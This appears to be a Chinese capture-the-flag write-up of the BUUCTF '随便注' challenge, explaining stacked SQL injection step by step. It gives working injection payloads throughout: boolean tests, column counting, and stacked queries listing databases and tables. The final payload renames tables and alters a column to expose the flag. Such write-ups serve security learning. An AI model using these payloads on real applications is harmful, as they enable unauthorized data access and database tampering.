zoukankan      html  css  js  c++  java
  • BUUCTF[强网杯 2019]随便注wp

    知识点:堆叠注入。用简单的话来说就是在sql语句中分号(;)标志着一句话的结束,如果在一个sql语句后添加分号(;)并构造一个新的sql语句,那么之前的sql语句和自己所构造的sql语句都会执行,因此造成了sql注入。这种注入方法叫堆叠注入。

     

    进入题目,看到输入框,尝试sql字符型注入1' or '1'='1,发现存在注入

    发现存在字符型注入后用1'or '1' = '1' order by 1#等语句判断字段数,得出字段数为2

     

    使用union select进行联合查询确定显示的字段顺序,发现select等字符被过滤

     

     

    过滤了select,看来想使用联合注入注出数据是不可能的了,于是试试堆叠注入。使用1';show databases;#爆出数据库。

     

    使用1';show tables;#爆出表

     

    使用1';show columns from words;#查询words表中所有字段

     

    使用1';show columns from `1919810931114514`;# 查询1919810931114514表中所有字段,发现flag字段,看来flag就在这个字段里面了。

     

    通过第一步的注入发现默认查询的表是words表,在这题中没有禁用rename。所以我们可以采用修改表名的方法将含有flag的表改为默认查询表,再通过字符型注入注出含有flag表的全部内容得到flag。因此我们将words表名改为word,数字表名改为words,这默认查询的表就是含有flag的表,但是该表没有id列,于是我们将flag字段改为id,即1';rename tables `words` to `word`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

     

    最后使用1' or 1=1 #得到flag

     

  • 相关阅读:
    第一次团队作业
    第二次结对作业
    第一次结对作业
    制作简易的中文编译器
    第一次博客作业
    个人总结
    第三次个人作业
    第二次结对作业
    第一次结对作业
    第二次编程作业
  • 原文地址:https://www.cnblogs.com/Yhck/p/13619745.html
Copyright © 2011-2022 走看看